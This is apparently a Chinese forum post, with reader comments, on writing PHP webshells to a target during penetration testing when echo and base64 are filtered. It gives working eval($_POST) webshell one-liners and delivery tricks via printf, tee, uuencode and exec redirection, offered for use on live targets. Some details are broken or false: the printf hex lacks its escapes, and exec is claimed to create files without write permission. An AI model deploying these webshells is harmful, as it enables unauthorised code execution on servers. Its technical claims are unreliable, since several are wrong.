除了echo和base64,还有哪些鲜为人知的写shell技巧?

3 人参与

最近我在渗透测试中遇到一个挺有意思的情况,那个目标系统把echo和base64都禁用了,搞得我差点放弃。结果在翻资料的时候,意外发现了几个超级实用的写shell技巧,今天就跟大家分享下这些冷门但好用的方法。

printf的隐藏玩法

其实printf这个命令比echo强大太多了!我记得有次在受限环境里,用printf直接输出十六进制编码的webshell,简直不要太爽。具体操作就是把shell代码转成hex,然后这样写:

printf 'x3cx3fx70x68x70x20x65x76x61x6cx28x24x5fx50x4fx53x54x5bx31x5dx29x3bx20x3fx3e' > shell.php

这种写法完全绕过了特殊字符检测,我在三个不同的目标系统上都测试成功了。

tee命令的妙用

tee这个命令真的被严重低估了!它可以在写入文件的同时还能在终端显示内容,最关键的是,它不需要重定向符号。有一次我遇到一个把">"和">"都过滤的系统,就是靠tee救场的:

echo '<?php @eval($_POST[cmd]);?>' | tee webshell.php

而且tee还能追加写入,配合管道使用简直无敌。

利用系统自带的编码工具

除了base64,系统里其实还藏着其他编码工具。比如uuencode,这个老古董在某些系统上还能用:

uuencode -m - < shell.php | uudecode -o final.php

还有od命令配合sed的骚操作,可以把二进制数据转换成可执行的shell代码。这个技巧我在一次CTF比赛中用过,直接把对手看懵了。

文件描述符的魔法

最让我惊艳的是文件描述符的技巧。通过exec重定向,可以在没有写权限的情况下创建文件:

exec 3<> shell.php
echo '<?php phpinfo();?>' >&3
exec 3>&-

这些技巧虽然冷门,但在关键时刻真的能救命。下次遇到echo和base64被禁的情况,不妨试试这些方法,说不定会有惊喜。

参与讨论

3 条评论
  • 貔貅爪

    printf这招可以啊,下次遇到禁用echo的试试🤔

    回复
  • ForestRoamer

    tee确实好用,之前搞渗透碰到过滤重定向就靠它了

    回复
  • 空楼

    uuencode现在还能用吗?老系统上是不是已经默认移除了

    回复